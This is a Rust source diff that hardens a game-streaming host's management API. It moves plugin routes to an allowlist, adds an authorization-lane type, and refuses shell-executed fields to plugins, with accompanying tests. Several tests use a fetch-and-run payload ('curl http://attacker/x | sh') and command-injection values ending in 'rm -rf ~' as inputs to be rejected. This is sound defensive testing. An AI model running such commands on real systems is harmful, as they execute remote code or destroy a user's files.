}
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
/// later hands to a shell are operator-only. Everything else — including every host-resolved
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
#[test]
fn privileged_field_is_command_execution_only() {
let cmd = LaunchSpec {
kind: "command".into(),
value: "curl http://attacker/x | sh".into(),
};
let steam = LaunchSpec {
kind: "steam_appid".into(),
value: "70".into(),
};
let prep = vec![crate::hooks::PrepCmd {
run: "curl http://attacker/x | sh".into(),
undo: None,
}];
assert_eq!(
privileged_field(Some(&cmd), &[]),
Some("launch.kind = \"command\"")
);
assert_eq!(privileged_field(None, &prep), Some("prep"));
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
assert_eq!(privileged_field(Some(&steam), &[]), None);
assert_eq!(privileged_field(None, &[]), None);
}
#[test]
fn provider_name_and_payload_validation() {
assert!(validate_provider_name("romm").is_ok());
@@ -93,6 +93,18 @@ fn command_for(spec: &LaunchSpec) -> Option<String> {
"desktop" => Some("steam".into()),
_ => None,
},
// The other launchers' own UIs (D4). The host builds the command — a plugin only names
// which launcher — so no shell string ever crosses the wire.
#[cfg(target_os = "linux")]
"launcher_ui" => match spec.value.as_str() {
// The same resolution the `heroic` game launches use (native binary, else Flatpak), just
// without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile.
"heroic" => heroic_launch_prefix(),
// Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a
// game instead (the `lutris_id` kind above).
"lutris" => Some("lutris".into()),
_ => None,
},
// Trusted: the command comes from the host's own custom store, never the client.
"command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()),
_ => None,
@@ -248,6 +260,39 @@ pub(crate) fn valid_steam_ui(value: &str) -> bool {
matches!(value, "bigpicture" | "desktop")
}
/// The launcher UIs **this host** can open, as `launcher_ui` values (D4).
///
/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single
/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind
/// because it has two (Big Picture and the desktop client), which is a genuinely different choice.
///
/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely
/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can
/// act on instead of publishing a dead entry.
///
/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the
/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed
/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the
/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner
/// plugin can offer a launcher tile at all.
fn launcher_ui_stores() -> &'static [&'static str] {
#[cfg(target_os = "linux")]
{
&["heroic", "lutris"]
}
// Windows launchers (Epic, GOG Galaxy, the Xbox app) are not wired yet — each needs its own
// verified activation, and an unverified guess would ship a tile that does nothing.
#[cfg(not(target_os = "linux"))]
{
&[]
}
}
/// Is this a `launcher_ui` value this host can resolve?
pub(crate) fn valid_launcher_ui(value: &str) -> bool {
launcher_ui_stores().contains(&value)
}
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
@@ -509,6 +554,50 @@ mod tests {
assert!(!valid_steam_ui("bigpicture; rm -rf ~"));
}
/// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the
/// `command` kind — stopped being available to plugins when the 2026-08-05 review made
/// `command` operator-only. A plugin names a launcher; the host builds the command.
#[test]
fn launcher_ui_accepts_only_launchers_this_host_can_open() {
#[cfg(target_os = "linux")]
{
assert!(valid_launcher_ui("heroic"));
assert!(valid_launcher_ui("lutris"));
// Not wired on this OS — refused inbound rather than becoming a tile that does nothing.
assert!(!valid_launcher_ui("gog"));
}
#[cfg(not(target_os = "linux"))]
{
// No Windows/macOS launcher UIs are wired yet, so every value is refused.
assert!(!valid_launcher_ui("heroic"));
assert!(!valid_launcher_ui("gog"));
}
assert!(!valid_launcher_ui(""));
assert!(!valid_launcher_ui("lutris; rm -rf ~"));
}
#[cfg(target_os = "linux")]
#[test]
fn launcher_ui_opens_the_launcher_itself() {
let ui = |v: &str| {
command_for(&LaunchSpec {
kind: "launcher_ui".into(),
value: v.into(),
})
};
// Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game.
assert_eq!(ui("lutris").as_deref(), Some("lutris"));
assert!(!ui("lutris").unwrap().contains("rungameid"));
// Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so
// the window IS what opens. `None` on a box without Heroic, which is a correct answer.
if let Some(cmd) = ui("heroic") {
assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}");
assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}");
}
assert_eq!(ui("nonsense"), None);
assert_eq!(ui(""), None);
}
#[cfg(not(windows))]
#[test]
fn steam_ui_resolves_to_the_client_ui_on_linux() {
+10 -1
View File
@@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
//
// Only when a runner is actually installed. It used to be minted unconditionally on every
// `serve`, so a host with no plugins — the common case — still persisted a second
// admin-adjacent credential to disk and kept a second authentication lane live for a
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
// the plugin flow changes for a host that has one.
if crate::plugins::runtime_status().installed {
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
}
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
+143 -30
View File
@@ -17,6 +17,42 @@ use axum::http::Method;
use axum::middleware::Next;
use sha2::{Digest, Sha256};
/// **Which credential authorized this request**, attached to the request extensions by
/// [`require_auth`] on every request it forwards.
///
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
/// Route-level authorization cannot express that; a handler holding this can (see
/// [`crate::library::reject_privileged_fields`]).
///
/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
/// a router that forgot the middleware must fail closed, never silently grant admin.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum AuthLane {
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
Admin,
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
/// never the operator-privileged fields inside them.
Plugin,
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
Cert,
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
Public,
}
impl AuthLane {
/// Whether this lane may set fields that become command execution as the host user. Only the
/// operator's own token may: the console is the surface where the operator types a command, and
/// typing it there is the trust decision. Everything else is refused, including a paired cert
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
pub(crate) fn may_set_privileged_fields(self) -> bool {
matches!(self, AuthLane::Admin)
}
}
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
@@ -28,8 +64,15 @@ pub(crate) async fn require_auth(
req: Request,
next: Next,
) -> Response {
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
req.extensions_mut().insert(lane);
next.run(req).await
}
if req.uri().path() == "/api/v1/health" {
return next.run(req).await; // liveness probe is always open
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
}
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
@@ -43,7 +86,7 @@ pub(crate) async fn require_auth(
.get::<PeerAddr>()
.is_none_or(|a| a.0.ip().is_loopback());
return if from_loopback {
next.run(req).await
forward(req, next, AuthLane::Public).await
} else {
api_error(
StatusCode::UNAUTHORIZED,
@@ -61,7 +104,7 @@ pub(crate) async fn require_auth(
if cert_may_access(req.method(), req.uri().path())
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
{
return next.run(req).await;
return forward(req, next, AuthLane::Cert).await;
}
}
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
@@ -92,7 +135,7 @@ pub(crate) async fn require_auth(
.and_then(|v| v.to_str().ok())
.and_then(|v| v.strip_prefix("Bearer "));
match presented {
Some(token) if token_eq(token, expected) => next.run(req).await,
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
// routes that would let a plugin escalate — registering hooks (arbitrary command
// execution as the host user) or administering pairing (admitting/ejecting devices,
@@ -105,7 +148,7 @@ pub(crate) async fn require_auth(
.is_some_and(|pt| token_eq(token, pt)) =>
{
if plugin_may_access(req.method(), req.uri().path()) {
next.run(req).await
forward(req, next, AuthLane::Plugin).await
} else {
api_error(
StatusCode::FORBIDDEN,
@@ -121,9 +164,18 @@ pub(crate) async fn require_auth(
}
}
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
/// sessions, and registers its UI lease), with these carve-outs:
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
/// `mgmt::tests` fails the build otherwise).
///
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
/// this one now is too.
///
/// What stays *out* of the list, and why:
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
/// command execution as the host user, and reading it can expose webhook credentials.
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
@@ -133,29 +185,90 @@ pub(crate) async fn require_auth(
/// secret; only the console proxy (admin token) needs it.
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
/// a whole-prefix deny can't be defeated by a route added later).
/// isn't constrained the way it is, or switch the runner's own service state.
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
/// helper).
///
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
/// reachability and field authority are separate questions and this gate only answers the first.
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
let denied = path == "/api/v1/hooks"
|| path == "/api/v1/store"
|| path.starts_with("/api/v1/store/")
|| path == "/api/v1/pair"
|| path.starts_with("/api/v1/pair/")
|| path == "/api/v1/native/pair"
|| path.starts_with("/api/v1/native/pair/")
|| path == "/api/v1/native/pending"
|| path.starts_with("/api/v1/native/pending/")
|| (method == Method::DELETE
&& (path.starts_with("/api/v1/clients/")
|| path.starts_with("/api/v1/native/clients/")))
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
// The update surface is operator business end to end: today it is only a check, but
// the same prefix will carry `apply` (running an installer / the root helper), and a
// whole-prefix deny can't be defeated by a route added later.
|| path == "/api/v1/update"
|| path.starts_with("/api/v1/update/");
!denied
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
const ALLOWED: &[(&Method, &str)] = &[
// Host / status reads.
(&Method::GET, "/api/v1/health"),
(&Method::GET, "/api/v1/host"),
(&Method::GET, "/api/v1/status"),
(&Method::GET, "/api/v1/local/summary"),
(&Method::GET, "/api/v1/compositors"),
(&Method::GET, "/api/v1/events"),
(&Method::GET, "/api/v1/logs"),
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
(&Method::GET, "/api/v1/clients"),
(&Method::GET, "/api/v1/native/clients"),
// GPU + display control: host configuration a plugin may legitimately steer (a room
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
(&Method::GET, "/api/v1/gpus"),
(&Method::PUT, "/api/v1/gpus/preference"),
(&Method::GET, "/api/v1/display/settings"),
(&Method::PUT, "/api/v1/display/settings"),
(&Method::GET, "/api/v1/display/state"),
(&Method::GET, "/api/v1/display/monitors"),
(&Method::PUT, "/api/v1/display/layout"),
(&Method::POST, "/api/v1/display/release"),
(&Method::GET, "/api/v1/display/presets"),
(&Method::POST, "/api/v1/display/presets"),
(&Method::PUT, "/api/v1/display/presets/{}"),
(&Method::DELETE, "/api/v1/display/presets/{}"),
// Session control: stopping/steering a session is what a launcher plugin exists to do.
(&Method::DELETE, "/api/v1/session"),
(&Method::POST, "/api/v1/session/idr"),
(&Method::GET, "/api/v1/session/settings"),
(&Method::PUT, "/api/v1/session/settings"),
(&Method::POST, "/api/v1/game/end"),
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
(&Method::GET, "/api/v1/library"),
(&Method::GET, "/api/v1/library/art/{}/{}"),
(&Method::GET, "/api/v1/library/scanners"),
(&Method::PUT, "/api/v1/library/scanners/{}"),
(&Method::POST, "/api/v1/library/custom"),
(&Method::PUT, "/api/v1/library/custom/{}"),
(&Method::DELETE, "/api/v1/library/custom/{}"),
(&Method::PUT, "/api/v1/library/provider/{}"),
(&Method::DELETE, "/api/v1/library/provider/{}"),
// Stats / telemetry.
(&Method::POST, "/api/v1/stats/capture/start"),
(&Method::POST, "/api/v1/stats/capture/stop"),
(&Method::GET, "/api/v1/stats/capture/status"),
(&Method::GET, "/api/v1/stats/capture/live"),
(&Method::GET, "/api/v1/stats/recordings"),
(&Method::GET, "/api/v1/stats/recordings/{}"),
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
// The plugin's own directory entry + log ingest (its UI lease registration).
(&Method::GET, "/api/v1/plugins"),
(&Method::POST, "/api/v1/plugins/logs"),
(&Method::PUT, "/api/v1/plugins/{}"),
(&Method::DELETE, "/api/v1/plugins/{}"),
];
ALLOWED
.iter()
.any(|(m, pat)| *m == method && path_matches(pat, path))
}
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
fn path_matches(pattern: &str, path: &str) -> bool {
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
loop {
match (p.next(), a.next()) {
(None, None) => return true,
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
_ => return false,
}
}
}
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
+78
View File
@@ -1,8 +1,46 @@
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
//! Split out of the `mgmt` facade (plan §W5).
use super::auth::AuthLane;
use super::shared::*;
use axum::http::header;
use axum::Extension;
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
///
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
/// authority alone. Route reachability and field authority are separate questions.
///
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
/// `clippy::result_large_err` objects to.
fn check_entry_fields(
lane: AuthLane,
art: &crate::library::Artwork,
launch: Option<&crate::library::LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<Response> {
if !lane.may_set_privileged_fields() {
if let Some(field) = crate::library::privileged_field(launch, prep) {
return Some(api_error(
StatusCode::FORBIDDEN,
&format!(
"`{field}` is executed as the host user and may only be set with the \
operator's admin token a plugin may publish entries with any host-resolved \
launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, lutris_id, heroic) \
instead"
),
));
}
}
crate::library::validate_art_paths(art)
.err()
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
}
#[derive(Deserialize)]
pub(crate) struct LibraryQuery {
@@ -34,6 +72,7 @@ pub(crate) struct LibraryQuery {
)
)]
pub(crate) async fn get_library(
Extension(lane): Extension<AuthLane>,
Query(q): Query<LibraryQuery>,
) -> Json<Vec<crate::library::GameEntry>> {
let mut games = crate::library::all_games();
@@ -54,6 +93,24 @@ pub(crate) async fn get_library(
for g in &mut games {
crate::library::proxy_local_art(&g.id, &mut g.art);
}
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
//
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
// which is the invariant that stops a client injecting a command in the first place. The
// `kind` stays, so "this is launchable, and how" still renders.
if !lane.may_set_privileged_fields() {
for g in &mut games {
if let Some(l) = g.launch.as_mut() {
if l.kind == "command" {
l.value.clear();
}
}
}
}
Json(games)
}
@@ -141,11 +198,15 @@ pub(crate) async fn set_library_scanner(
)
)]
pub(crate) async fn create_custom_game(
Extension(lane): Extension<AuthLane>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
match crate::library::add_custom(input) {
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
@@ -169,12 +230,16 @@ pub(crate) async fn create_custom_game(
)
)]
pub(crate) async fn update_custom_game(
Extension(lane): Extension<AuthLane>,
Path(id): Path<String>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
use crate::library::MutateOutcome;
match crate::library::update_custom(&id, input) {
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
@@ -278,6 +343,7 @@ pub(crate) struct ReconcileQuery {
)
)]
pub(crate) async fn reconcile_provider_entries(
Extension(lane): Extension<AuthLane>,
Path(provider): Path<String>,
Query(q): Query<ReconcileQuery>,
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
@@ -294,6 +360,18 @@ pub(crate) async fn reconcile_provider_entries(
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
// one privileged field anywhere in it is one command execution.
for (i, e) in inputs.iter().enumerate() {
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
tracing::warn!(
provider,
index = i,
"library reconcile refused: payload carries a field this lane may not set"
);
return denied;
}
}
match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) {
Ok(crate::library::MutateOutcome::Done(entries)) => {
tracing::info!(
+291
View File
@@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() {
assert_eq!(status, StatusCode::BAD_REQUEST);
}
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
///
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
/// a human typed them into the admin console.
#[tokio::test]
async fn plugin_lane_cannot_set_command_execution_fields() {
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
axum::http::Request::builder()
.method(method)
.uri(path)
.header("content-type", "application/json")
.header("authorization", format!("Bearer {token}"))
.body(Body::from(body.to_string()))
.unwrap()
};
// The two shapes of the primitive, on the two routes that carry it.
let prep = serde_json::json!({
"title": "Pwned",
"prep": [{"do": "curl http://attacker/x | sh"}],
});
let command = serde_json::json!({
"title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
});
for (path, method) in [
("/api/v1/library/custom", "POST"),
("/api/v1/library/custom/some-id", "PUT"),
] {
for body in [&prep, &command] {
let (status, err) =
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"plugin token must not set an executed field via {method} {path}"
);
assert!(
err["error"].as_str().unwrap().contains("host user"),
"the refusal should say why: {err}"
);
}
}
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
// first. A payload that hides the primitive behind a benign leading entry is still refused.
let sneaky = serde_json::json!([
{"external_id": "a", "title": "Innocent"},
{"external_id": "b", "title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
]);
let (status, _) = send(
&app,
as_lane(
"plugin-secret",
"PUT",
"/api/v1/library/provider/romm",
sneaky,
),
)
.await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"a privileged field anywhere in a reconcile payload must be refused"
);
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
// host config dir. The converse — that the operator's own lane may set these fields, and that a
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
// execution_only`, which needs no filesystem either.
assert!(
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
"the operator's token is the lane these fields belong to"
);
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
}
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
///
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
/// used to be a denylist, so a route added after the list was written was granted to the plugin
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
/// ~1450 commits.
///
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
/// default in either direction — adding a route fails the build until its row is added here, and the
/// row is where a reviewer looks to ask "should a plugin really reach this?".
#[test]
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
use axum::http::Method;
// (method, path template, plugin token may reach, paired streaming cert may reach).
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
const EXPECTED: &[(&str, &str, bool, bool)] = &[
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
("GET", "/api/v1/health", true, false), // always open, handled before either gate
("GET", "/api/v1/host", true, true),
("GET", "/api/v1/status", true, true),
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
("GET", "/api/v1/compositors", true, true),
("GET", "/api/v1/events", true, false),
("GET", "/api/v1/logs", true, false),
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
// removal is pairing administration in both lanes.
("GET", "/api/v1/clients", true, false),
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
("GET", "/api/v1/native/clients", true, false),
(
"DELETE",
"/api/v1/native/clients/{fingerprint}",
false,
false,
),
// ---- pairing administration + PIN visibility: the operator's token alone.
("GET", "/api/v1/pair", false, false),
("POST", "/api/v1/pair/pin", false, false),
("GET", "/api/v1/native/pair", false, false),
("DELETE", "/api/v1/native/pair", false, false),
("POST", "/api/v1/native/pair/arm", false, false),
("GET", "/api/v1/native/pending", false, false),
("POST", "/api/v1/native/pending/{id}/approve", false, false),
("POST", "/api/v1/native/pending/{id}/deny", false, false),
// ---- GPU + display: host configuration, no privilege boundary.
("GET", "/api/v1/gpus", true, false),
("PUT", "/api/v1/gpus/preference", true, false),
("GET", "/api/v1/display/settings", true, false),
("PUT", "/api/v1/display/settings", true, false),
("GET", "/api/v1/display/state", true, false),
("GET", "/api/v1/display/monitors", true, false),
("PUT", "/api/v1/display/layout", true, false),
("POST", "/api/v1/display/release", true, false),
("GET", "/api/v1/display/presets", true, false),
("POST", "/api/v1/display/presets", true, false),
("PUT", "/api/v1/display/presets/{id}", true, false),
("DELETE", "/api/v1/display/presets/{id}", true, false),
// ---- session control.
("DELETE", "/api/v1/session", true, false),
("POST", "/api/v1/session/idr", true, false),
("GET", "/api/v1/session/settings", true, false),
("PUT", "/api/v1/session/settings", true, false),
("POST", "/api/v1/game/end", true, false),
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
// operator-privileged FIELDS inside those payloads are refused in the handler — see
// `plugin_lane_cannot_set_command_execution_fields`.
("GET", "/api/v1/library", true, true),
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
("GET", "/api/v1/library/scanners", true, false),
("PUT", "/api/v1/library/scanners/{id}", true, false),
("POST", "/api/v1/library/custom", true, false),
("PUT", "/api/v1/library/custom/{id}", true, false),
("DELETE", "/api/v1/library/custom/{id}", true, false),
("PUT", "/api/v1/library/provider/{provider}", true, false),
("DELETE", "/api/v1/library/provider/{provider}", true, false),
// ---- stats.
("POST", "/api/v1/stats/capture/start", true, false),
("POST", "/api/v1/stats/capture/stop", true, false),
("GET", "/api/v1/stats/capture/status", true, false),
("GET", "/api/v1/stats/capture/live", true, false),
("GET", "/api/v1/stats/recordings", true, false),
("GET", "/api/v1/stats/recordings/{id}", true, false),
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
("GET", "/api/v1/plugins", true, false),
("POST", "/api/v1/plugins/logs", true, false),
("PUT", "/api/v1/plugins/{id}", true, false),
("DELETE", "/api/v1/plugins/{id}", true, false),
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
("GET", "/api/v1/hooks", false, false),
("PUT", "/api/v1/hooks", false, false),
// ---- the store: installing a plugin runs new code with operator privileges.
("GET", "/api/v1/store/catalog", false, false),
("POST", "/api/v1/store/refresh", false, false),
("GET", "/api/v1/store/installed", false, false),
("POST", "/api/v1/store/install", false, false),
("POST", "/api/v1/store/uninstall", false, false),
("GET", "/api/v1/store/jobs", false, false),
("GET", "/api/v1/store/jobs/{id}", false, false),
("GET", "/api/v1/store/sources", false, false),
("PUT", "/api/v1/store/sources/{name}", false, false),
("DELETE", "/api/v1/store/sources/{name}", false, false),
("GET", "/api/v1/store/runtime", false, false),
("POST", "/api/v1/store/runtime", false, false),
// ---- updates: `apply` runs an installer / the root helper.
("GET", "/api/v1/update/status", false, false),
("POST", "/api/v1/update/check", false, false),
("POST", "/api/v1/update/apply", false, false),
];
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
/// are exercised on the shape a real request has.
fn concrete(template: &str) -> String {
template
.split('/')
.map(|s| if s.starts_with('{') { "sample" } else { s })
.collect::<Vec<_>>()
.join("/")
}
let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
let mut live: Vec<(String, String)> = Vec::new();
for (path, ops) in doc["paths"].as_object().unwrap() {
for method in ops.as_object().unwrap().keys() {
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
live.push((method.to_uppercase(), path.clone()));
}
}
}
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
for (method, path) in &live {
assert!(
EXPECTED
.iter()
.any(|(m, p, _, _)| m == method && p == path),
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
and decide, deliberately, whether the plugin token and a paired streaming cert may \
reach it"
);
}
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
for (method, path, _, _) in EXPECTED {
assert!(
live.iter().any(|(m, p)| m == method && p == path),
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
);
}
// 3. The gates agree with the classification, on both lanes.
for (method, path, plugin_ok, cert_ok) in EXPECTED {
let m = Method::from_bytes(method.as_bytes()).unwrap();
let concrete = concrete(path);
assert_eq!(
auth::plugin_may_access(&m, &concrete),
*plugin_ok,
"plugin lane: {method} {path} should be {}",
if *plugin_ok { "reachable" } else { "denied" }
);
assert_eq!(
auth::cert_may_access(&m, &concrete),
*cert_ok,
"cert lane: {method} {path} should be {}",
if *cert_ok { "reachable" } else { "denied" }
);
}
}
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
#[test]
fn plugin_allowlist_matches_whole_segments_only() {
use axum::http::Method;
